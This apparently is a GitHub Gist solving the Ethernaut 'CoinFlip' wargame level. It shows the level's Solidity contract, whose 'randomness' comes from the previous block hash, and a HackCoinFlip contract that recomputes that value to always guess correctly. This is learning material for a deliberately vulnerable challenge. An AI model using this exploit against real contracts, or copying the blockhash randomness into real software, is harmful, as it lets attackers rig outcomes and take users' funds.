Last active
January 15, 2022 04:58
-
-
Save tennisonchan/417dc028c13cf72ffba6139f8d094842 to your computer and use it in GitHub Desktop.
Ethernaut - CoinFlip - 0x4dF32584890A0026e56f7535d0f2C6486753624f
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import '@openzeppelin/contracts@3.4.0/math/SafeMath.sol'; | |
contract CoinFlip { | |
using SafeMath for uint256; | |
uint256 public consecutiveWins; | |
uint256 lastHash; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
constructor() public { | |
consecutiveWins = 0; | |
} | |
function flip(bool _guess) public returns (bool) { | |
uint256 blockValue = uint256(blockhash(block.number.sub(1))); | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
uint256 coinFlip = blockValue.div(FACTOR); | |
bool side = coinFlip == 1 ? true : false; | |
if (side == _guess) { | |
consecutiveWins++; | |
return true; | |
} else { | |
consecutiveWins = 0; | |
return false; | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import "./CoinFlip.sol"; | |
contract HackCoinFlip { | |
uint256 public consecutiveWins; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
function hackFlip() public { | |
CoinFlip originalContract = CoinFlip(0x04127ee50d00abB4F5c333a7f8fCEB50393C1EbA); | |
uint256 blockValue = uint256(blockhash(block.number - 1)); | |
uint256 coinFlip = blockValue / FACTOR; | |
bool side = coinFlip == 1 ? true : false; | |
originalContract.flip(side); | |
consecutiveWins = originalContract.consecutiveWins(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment